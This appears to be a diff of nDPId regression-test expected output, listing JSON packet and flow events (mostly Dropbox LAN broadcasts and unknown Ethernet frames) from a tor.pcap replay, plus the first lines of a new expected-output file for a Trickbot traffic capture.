+00542{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2800,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822218,"pkt_ts_usec":758583,"pkt_caplen":151,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":151,"pkt_l4_len":97,"pkt":"MzMAAQACUlQAWul3ht1gAAAAAGERAf6AAAAAAAAAxYMZclcocyP\/AgAAAAAAAAAAAAAAAQACAiICIwBhDB8BZjPcAAgAAgBkAAEADgABAAEXdNYHUlQAoBS4AAMADA5SVAAAAAAAAAAAAAAnAAsACUVuZGlhbi1QQwAQAA4AAAE3AAhNU0ZUIDUuMAAGAAgAGAAXABEAJw=="} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2854,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822220,"pkt_ts_usec":212053,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2854,"source":"tor.pcap","alias":"nDPId-test","type":38} +00542{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2863,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822220,"pkt_ts_usec":774203,"pkt_caplen":151,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":151,"pkt_l4_len":97,"pkt":"MzMAAQACUlQAWul3ht1gAAAAAGERAf6AAAAAAAAAxYMZclcocyP\/AgAAAAAAAAAAAAAAAQACAiICIwBhC1cBZjPcAAgAAgEsAAEADgABAAEXdNYHUlQAoBS4AAMADA5SVAAAAAAAAAAAAAAnAAsACUVuZGlhbi1QQwAQAA4AAAE3AAhNU0ZUIDUuMAAGAAgAGAAXABEAJw=="} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2870,"source":"tor.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1383822214039,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2882,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822222,"pkt_ts_usec":212047,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2882,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2936,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822224,"pkt_ts_usec":212144,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2936,"source":"tor.pcap","alias":"nDPId-test","type":38} +00542{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2952,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822224,"pkt_ts_usec":935668,"pkt_caplen":151,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":151,"pkt_l4_len":97,"pkt":"MzMAAQACUlQAWul3ht1gAAAAAGERAf6AAAAAAAAAxYMZclcocyP\/AgAAAAAAAAAAAAAAAQACAiICIwBhCWMBZjPcAAgAAgMgAAEADgABAAEXdNYHUlQAoBS4AAMADA5SVAAAAAAAAAAAAAAnAAsACUVuZGlhbi1QQwAQAA4AAAE3AAhNU0ZUIDUuMAAGAAgAGAAXABEAJw=="} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2965,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822226,"pkt_ts_usec":212245,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2965,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2976,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822228,"pkt_ts_usec":212061,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2976,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2988,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822230,"pkt_ts_usec":212115,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2988,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3004,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822232,"pkt_ts_usec":211971,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3004,"source":"tor.pcap","alias":"nDPId-test","type":38} +00542{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3010,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822232,"pkt_ts_usec":938483,"pkt_caplen":151,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":151,"pkt_l4_len":97,"pkt":"MzMAAQACUlQAWul3ht1gAAAAAGERAf6AAAAAAAAAxYMZclcocyP\/AgAAAAAAAAAAAAAAAQACAiICIwBhBkMBZjPcAAgAAgZAAAEADgABAAEXdNYHUlQAoBS4AAMADA5SVAAAAAAAAAAAAAAnAAsACUVuZGlhbi1QQwAQAA4AAAE3AAhNU0ZUIDUuMAAGAAgAGAAXABEAJw=="} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3018,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822234,"pkt_ts_usec":211967,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3018,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3036,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822236,"pkt_ts_usec":212113,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3036,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3128,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822238,"pkt_ts_usec":212085,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3128,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3234,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822240,"pkt_ts_usec":212033,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3234,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3430,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822242,"pkt_ts_usec":212027,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3430,"source":"tor.pcap","alias":"nDPId-test","type":38} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3491,"source":"tor.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1383822244096,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00593{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3491,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822244,"pkt_ts_usec":96142,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3491,"source":"tor.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1383822244096,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3494,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822244,"pkt_ts_usec":212056,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3494,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3654,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822246,"pkt_ts_usec":212005,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3654,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3712,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822248,"pkt_ts_usec":212313,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3712,"source":"tor.pcap","alias":"nDPId-test","type":38} +00542{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3714,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822248,"pkt_ts_usec":944702,"pkt_caplen":151,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":151,"pkt_l4_len":97,"pkt":"MzMAAQACUlQAWul3ht1gAAAAAGERAf6AAAAAAAAAxYMZclcocyP\/AgAAAAAAAAAAAAAAAQACAiICIwBhAAMBZjPcAAgAAgyAAAEADgABAAEXdNYHUlQAoBS4AAMADA5SVAAAAAAAAAAAAAAnAAsACUVuZGlhbi1QQwAQAA4AAAE3AAhNU0ZUIDUuMAAGAAgAGAAXABEAJw=="} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3717,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822250,"pkt_ts_usec":211939,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3717,"source":"tor.pcap","alias":"nDPId-test","type":38} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":3718,"source":"tor.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1383822244096,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3718,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822252,"pkt_ts_usec":211970,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3718,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3735,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822254,"pkt_ts_usec":212017,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3735,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3752,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822256,"pkt_ts_usec":211970,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3752,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3810,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822258,"pkt_ts_usec":212011,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3810,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3821,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822260,"pkt_ts_usec":212069,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3821,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3826,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822262,"pkt_ts_usec":211943,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3826,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3833,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822264,"pkt_ts_usec":211946,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3833,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3853,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822266,"pkt_ts_usec":211911,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3853,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3854,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822268,"pkt_ts_usec":211949,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3854,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3855,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822270,"pkt_ts_usec":212244,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3855,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3856,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822272,"pkt_ts_usec":211953,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3856,"source":"tor.pcap","alias":"nDPId-test","type":38} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3857,"source":"tor.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1383822274144,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00594{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3857,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822274,"pkt_ts_usec":144364,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"\/\/\/\/\/\/\/\/UlQAwqwfCABFAACsAABAAEARtfDAqAEBwKgB\/0RcRFwAmDDeeyJob3N0X2ludCI6IDY3Njg3OTk3NiwgInZlcnNpb24iOiBbMSwgOF0sICJkaXNwbGF5bmFtZSI6ICI2NzY4Nzk5NzYiLCAicG9ydCI6IDE3NTAwLCAibmFtZXNwYWNlcyI6IFsxNjc4NDEyMTYsIDE4MTA4Mzk2OCwgMTgxMDgwMzI0LCAyOTU0NDE3M119"} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3857,"source":"tor.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1383822274144,"flow_last_seen":0,"flow_tot_l4_data_len":152,"flow_min_l4_data_len":152,"flow_max_l4_data_len":152,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3858,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822274,"pkt_ts_usec":212080,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3858,"source":"tor.pcap","alias":"nDPId-test","type":38} +00374{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3859,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1383822276,"pkt_ts_usec":211998,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00153{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3859,"source":"tor.pcap","alias":"nDPId-test","type":38} diff --git a/test/results/trickbot.pcap.out b/test/results/trickbot.pcap.out new file mode 100644 index 000000000..d09f8a3b4 --- /dev/null +++ b/test/results/trickbot.pcap.out @@ -0,0 +1,18 @@ +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"trickbot.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1609266107551,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.29.101","dst_ip":"82.118.225.196","src_port":61318,"dst_port":7080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"trickbot.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609266107,"pkt_ts_usec":551500,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IOUqtpPxAAgCHEeuCABFAAA0c9FAAIAGK0cKDB1lUnbhxO+GG6gSdtdWAAAAAIAC\/\/8eaQAAAgQFtAEDAwgBAQQC"} 